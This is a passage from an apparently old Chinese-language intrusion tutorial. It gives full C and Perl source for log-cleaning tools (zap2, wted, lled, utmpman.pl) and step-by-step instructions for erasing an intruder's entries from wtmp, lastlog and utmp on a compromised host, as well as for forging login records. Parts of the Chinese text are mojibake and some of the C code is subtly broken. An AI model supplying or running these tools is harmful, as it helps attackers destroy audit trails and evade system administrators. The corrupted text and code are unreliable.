lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- cut here


--------------------------------------------------------------------------------

其它脚本程序

我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个文件(记住,象第一章所说的,不要ftp或telent出这个入侵的主机)。好了,你ftp进入系统抓取几个文件,或登录到系统的其它帐户中,那现在你就要用到wted程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。你也可能要用到lled (编糽astlog日志).
你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help 帮助
-f Use FILE instead of default 所使用的非默认文件
-a Show all entries found 显示所有的记录
-u Show all entries for USER 显示USER的所有记录
-b Show NULL entries 显示空记录
-e Erase USER completely 完全清除某用户的记录
-c Erase all connections containing HOST 清除从某主机来的所有记录
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ?????
如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith
这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你登录的记录后,记着chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并覆盖岳吹奈募?O笳庋??
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
下面是wted程序:
重要:记着将char里面文件改成正确的路径。
wted.c
---------------------- cut here
#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[0] == '-')
{
switch(argv[1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here
你可能还需要清除/vat/adm/lastlog日志。
这要用到lled.c程序。编译这个文件并命名为lled.
你运行lled程序将会出现下面的菜单:
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help °??ú
-f Use FILE instead of default ê1ó????¨μ????t′úì?è±ê?μ?
-a Show all entries found ??ê?è?2?????
-u Show all entries for USER ??ê????¨ó??§μ?è?2?????
-b Show NULL entries ??ê???????
-e Erase USER completely è?2?é?3y???¨ó??§μ?????
-c Erase all connections containing HOST é?3y°üo????¨?÷?úμ?è?2?????
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ?????
你可以先用-u来看一下,很多时候你的用户名并没有记录下来,但会记录下你的主机,一般你可以这样使用:(假设我进入系统时使用的主机名为machine.edit.com)
lled -e username -c machine.edit
如果你要查看你的主机是否记录在lastlog日志的结尾,你应输入:lled -a
使用chmod将 lastlog.tmp文件属性改为 644并象你使用上面的wted程序一样将其拷贝到日志文件的目录中并覆盖岳吹奈募??
重要:将lastlog路径设置为你入侵的主机中的正确路径。
下面是lled.c:
-------------------------- cut here
#include <stdio.h>
#include <time.h>
#include <lastlog.h>
#include <fcntl.h>
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[0] == '-')
{
switch(argv[1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut here
下面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还允许你在wtmp日志中加入一行。如果你想搞,你可以加入clinton(克林顿).whitehouse(白宫).gov logging into port ttyp3 并显示他在系统中停留了几个小时!
使用检查功能,你可以知道是否有什么人登录到系统中而在utmp日志中又没有记录。系统管理员有时登录后喜欢把自己隐藏起来,这个程序可以看到他们是否在线。你必须有root的权限来执行这个程序,这个程序还需要5.003以上的版本才能运行。启动这个脚本程序后输入help。
下面是一些基本命令:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
使用help来查看其它的命令......这是最好的wtmp,wtmp编计鳎?
说声谢谢吧 ;)
-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems.
# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();
# Display banner.
print "\nutmp Manager v0.8\n\n";
# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
# Read in valid shells.
if (defined($shells_location)) {
open(SHELLFILE, "<$shells_location");
@shells = <SHELLFILE>;
close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);

print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while (<STDIN>) {
process_cmd(split);
print("\nutmpman: $active_file> ");
}
sub process_cmd {
return if (!defined(@_));
my(@line) = map { lc($_) } @_;

$_ = shift(@line);
SWITCH: {
/^check$/ && do {
check_func(@line);
last SWITCH;
};
/^delete$/ && do {
del_func(@line);
last SWITCH;
};

/^help$/ && do {
help_func();
last SWITCH;
};

/^insert$/ && do {
ins_func(@line);
last SWITCH;
};

/^list$/ && do {
list_func(@line);
last SWITCH;
};
/^read$/ && do {
read_func(@line);
last SWITCH;
};

/^write$/ && do {
write_func(@line);
last SWITCH;
};

/^quit|exit$/ && exit(0);

# DEFAULT.
print ("Invalid command.\n");
}
}

# HELP
sub help_func {
print << "EOM";
utmpManager Help
----------------
Note: - <n> is an argument.
- [id=] is a token which expects a value as part of command
(ie, insert id=p5 user=root 11/23/96). See the insert command.
- A line is the full name to the tty port, ie ttyp0.
- An id is the *unique* representation of the port
(without the tty, etc), ie "p0" (for ttyp0).
check
- Perform user consistancy check. Use this to make sure that the data in
utmp agrees with who is actually on the machine. This is useful in
determining if a user is online with hidden ports, running nohup'd
processes, or running iScreen.
delete <x>-<y>
- Delete entries #x to #y.
delete host <host>
- Delete *all* entries which match the substring <host>.
delete line|id <line|id>
- Delete entry containing <line> or <id>.
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- Insert an entry into utmp/wtmp files specifying any combination
of id/line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.)
list host <host>
- List all entries matching the substring <host>.
list line|id <line|id>
- List all entries matching <line> or <id>.
read utmp|wtmp|<filename>
- Read entries from either default wtmp, default utmp, or an arbitrary
filename. Note: arbitrary filenames MUST start with either "utmp" or
"wtmp" to be used with this editor. Rename files *outside* of this
editor if necessary. If read is executed without any arguments, it
rereads the last given filename, which is displayed on the prompt.
write {filename}
- Write entries to file {filename}. If write is executed without any
arguments, then entries will be written to the last given filename,
which is displayed on the prompt.
EOM
}
# DELETE
sub del_func {
my(@params) = @_;
if (!push(@_)) {
print("delete :: Not enough parameters. See \"help\" for syntax.\n");
return undef;
} elsif ($params[0] =~ /host|user|id|line/) {
del_by_data(@_);
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
del_by_range($params[0]);
} elsif ($params[0] =~ m/^(\d+)$/) {
del_by_range("$1-$1");
}

# Renumber list after delete operation.
resync();
}

sub del_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi, $count)=($1, $2, 0);

$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));

foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}

sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))||
((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n";
return undef;
}
# Note: If we are deleting by user, then user must match, *exactly*!
$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
foreach (sort( { $a <=> $b } keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
delete($entries{$_});
++$count;
}
}
if (!$count) {
print "No $op entries matching $data.\n";
} else {
print "$count entries deleted.\n";
}
}

# INSERT
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=<username>
# host=<hostname>
# id=<id> | line=<line>
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
sub ins_func {
my(%cmdopt)={};
my($datetime1, $datetime2, $gmdate, $gmdate2);
# Get random pid out of the way.
$cmdopt{"pid"} = int(rand(32656)+100);
$cmdopt{"addr"} = pack("a4", "");
# Get command options.
foreach (@_) {
if (/=/) {
local($key, $value)=split(/=/);
$cmdopt{$key} = $value;
} else {
if (!defined($datetime1)) {
$datetime1 = $_;
next;
}
if (!defined($datetime2)) {
$datetime2 = $_ ;
next;
}
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys(%cmdopt)) {
if (!(/^host|id|line|type|user|addr$/)) {
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
print "insert :: LAST option only valid for utmp files.\n";
return undef;
}
}
# Get date in seconds since 1970.
$gmdate = SecsSince1970($datetime1);
# Get ending date in seconds since 1970.
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
print "insert :: Invalid date specified.\n";
return undef;
}
if (defined($gmdate2)) {
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time.\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
return undef;
}

my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) {
if ($active_file =~ m!/*utmp[^/]*$!i) {
# Handle utmp insertion by line insertion.
if (%{$entries{$_}}->{$op} eq $searchdata) {
printf ("insert :: $op $searchdata already exists at position $_\n");
# This needs to check every option in %cmdopt for defined or null.
$count = 0;
foreach (qw(user host time)) {
if (defined($cmdopt{$_})) {
$count++ if ($cmdopt{$_} ne "");
}
}
if (!$count) {
printf ("insert :: No other data specified. Entry unchanged.\n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$epos1 = $oldpos if (defined($npos1) && !defined($epos1));
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
last if (!defined($gmdate2) && defined($epos1));
$epos2 = $oldpos if (defined($npos2));
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
last if (defined($epos2));
}
$oldpos = $_;
}
# Set any unspecified defaults.
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
# Determine end of list insertion positions. (IE, dates entered are after
# dates in wtmp file or line/id not found in utmp file.
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
if (defined($datetime2)) {
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
++$epos2 if (defined($gmtime2) && !defined($npos1));
}
# Parse insert data and insert entry.
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
if (defined($npos2) && defined($gmdate2));
# Insert first entry.
$cmdopt{"time"} = $gmdate;
@{$entries{$epos1}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
if (defined($epos2)) {
$cmdopt{"user"} = pack("a8", "");
$cmdopt{"host"} = pack("a16","");
$cmdopt{"id"} = pack("a4", "");
$cmdopt{"time"} = $gmdate2;

@{$entries{$epos2}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
}
resync();
}

# LIST
sub list_func {
my(@params) = @_;
if (!push(@_) || ($params[0] eq "all")) {
list_by_range("-");
return 0;
} elsif ($params[0] =~ /^host|user|id|line$/) {
list_by_data(@_);
return 0;
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
list_by_range($params[0]);
return 0;
} elsif ($params[0] =~ m/^(\d+)$/) {
list_by_range("$1-$1");
return 0;
}

print ("list :: Error in parameters. See \"help\" for syntax.\n");
return undef;
}

sub list_by_data {
my($op, $data) = @_;
my($count) = 0;
foreach (sort( {$a <=> $b} keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
list_entry($_);
++$count;
}
}
print "No $op entries matching $data.\n" if (!$count);
}

sub list_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi)=($1, $2);

$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));

foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}

sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
printf(" %s/%s", @{$entries{$_}}{qw(id line)});
printf(": %s ", %{$entries{$_}}->{"user"})
if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
printf("from %s", %{$entries{$_}}->{"host"})
if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
}
print ("\n");
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}
# <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# <Silmaril> now *that's* cool :-)
# <Silmaril> should be like this: @{$v}{qw(time id line user host)}
# <Silmaril> I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#

# READ

sub read_func {
my($arg)=shift;

$arg = $utmp_location if ($arg eq "utmp");
$arg = $wtmp_location if ($arg eq "wtmp");
$arg = $active_file if (!defined($arg));

if ($arg !~ m!/*[uw]tmp[^/]*$!) {
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
return undef;
}

readfile($arg);
}

# WRITE
sub write_func {
my($file)=shift;
my($count)=0;

$file = $active_file if (!defined($file));
if ($file !~ m!/*[uw]tmp[^/]*$!) {
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
return undef;
}
if (!open(OUTFILE, ">$file")) {
print ("write :: Can't open $file for output.\n");
return undef;
}
binmode(OUTFILE);

foreach (sort( { $a <=> $b } keys(%entries))) {
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
@{$entries{$_}}{qw(type pid line id time user host addr)}));
$count++;
}
print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
close(OUTFILE);
}

# CHECK
sub check_func {
if (push(@_)) {
print "check :: Invalid options specified. Please see \"help\"\n";
return undef;
}
if ($active_file !~ m!/*utmp[^/]*$!) {
print "check :: Command can only be run on utmp files.\n";
return undef;
}

# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may *not* be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
# should return the same as what you expect in "struct utmp->ut_id".
my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
my(%ports) = {};
my($user, $rdev) = ();
opendir(DEVDIR, "/dev");
my(@devfiles) = readdir(DEVDIR);
@devfiles = grep(/$grepstr/, @devfiles);
close(DEVDIR);
foreach (@devfiles) {
/^$ttybase([$ttyrange][$ttyports])$/;
if (!defined($1)) {
print "check :: Warning! Could not extract port ID from $_.\n";
} else {
($user, $rdev) = (stat("/dev/$_"))[4, 6];
$user = getpwuid($user);
$ports{$1} = newport($_, $rdev, $user);
}
}

# Check ownership of /dev ports.
my(@logdev)=();
foreach (sort(keys(%ports))) {
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
}
@logdev = sort(@logdev);

# Check utmp (against ports detected as logged in);
my(@logutmp)=();
foreach (sort( { $a <=> $b } keys(%entries))) {
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
push(@logutmp, %{$entries{$_}}->{"id"})
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
(%{$entries{$_}}->{"pid"} > 0))));
}
}
@logutmp = sort(@logutmp);
# Check PIDs (find processes with active port ids)
opendir(PIDDIR, "/proc");
my(%processes) = {};
my(@portprocesses) = ();
foreach (grep(/\d+/, readdir(PIDDIR))) {
local($procdata, $cmdline);
open(PROCFILE, "</proc/$_/stat");
$procdata = <PROCFILE>;
close(PROCFILE);
if (-e "/proc/$_/stat") {
local($cmdline, $devnum, $portid);
($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
# Remove surrouding () from command name.
$cmd =~ s/[\(\)]//g;
$portid = dev2id(\%ports, $devnum);
if (defined($portid)) {
push(@portprocesses, $portid)
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
}
}
}
close(PIDDIR);
# A port is *not* logged in if there is no dev entry for port, no utmp entry
# and no active processes.
my(@validshellports) = ();
foreach (sort( { $a <=> $b} keys(%processes))) {
push(@validshellports, %{$processes{$_}}->{"port"})
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
}
# Remove ports with valid shells from list of ports with active processes.
my(@noshellports) =
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
@validshellports = sort(@validshellports);
print "Ports with active /dev files: @logdev\n"
if (defined(@logdev));
print "Ports with utmp entries: @logutmp\n"
if (defined(@logutmp));
print "Ports with valid shells: @validshellports\n"
if (defined(@validshellports));
print "Ports with active processes and *no* shells: @noshellports\n"
if (defined(@noshellports));
}



# GENERAL
sub readfile {
local($file);
$file = shift;
my($index)=1;
my($buffer)="";
# Insure we have a clean hash table before we start reading in the file.
foreach (keys(%entries)) {
undef(%{$entries{$_}});
delete(${entries{$_}});
}

open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
close(UTMPFILE);
}

sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;

$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';

@{$newnode}{qw(type pid line id time user host addr)}=
unpack("i L a12 a4 L a8 a16 a4", $newbuff);

return $newnode;
}

sub newport {

$newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';

@{$newnode}{qw(port rdev owner)} = @_;

return $newnode;
}

sub newproc {

$newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';

@{$newnode}{qw(cmd port)} = @_;

return $newnode;
}

# Renumber hashes to default order.
sub resync {
my(%newhash) = ();
my($count)=0;
# Write ordered list in to temporary hash, deleting as we go.
foreach (sort( {$a <=> $b} keys(%entries))) {
$newhash{++$count} = $entries{$_};
delete($entries{$_});
}
# Copy elements back in to original hash table.
foreach (sort( {$a <=> $b} keys(%newhash))) {
$entries{$_} = $newhash{$_};
}
}

sub longtodot4 {
my($addr)=shift;
return join(".", map( ord($_), split(//, $addr)));
}
sub dev2id {
my($portlist, $rdev) = @_;
foreach (sort(keys(%{$portlist}))) {
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
}
return undef;
}

sub listpos {
my($arrayref, $search) = @_;
my($count) = 0;
$^W = 0;
foreach (@{$arrayref}) {
return $count if ($search eq ${$arrayref}[$count]);
$count++;
}
$^W = 1;
return undef;
}

### DATE ROUTINES
# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.

sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
my($datetime) = shift;
my($m,$d,$y,$h,$mn,$s) = ();
# If date is not defined, then return local current date and time.
return time() if (!defined($datetime));
$datetime =~
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
$m--;
# Finalize time components and check them.
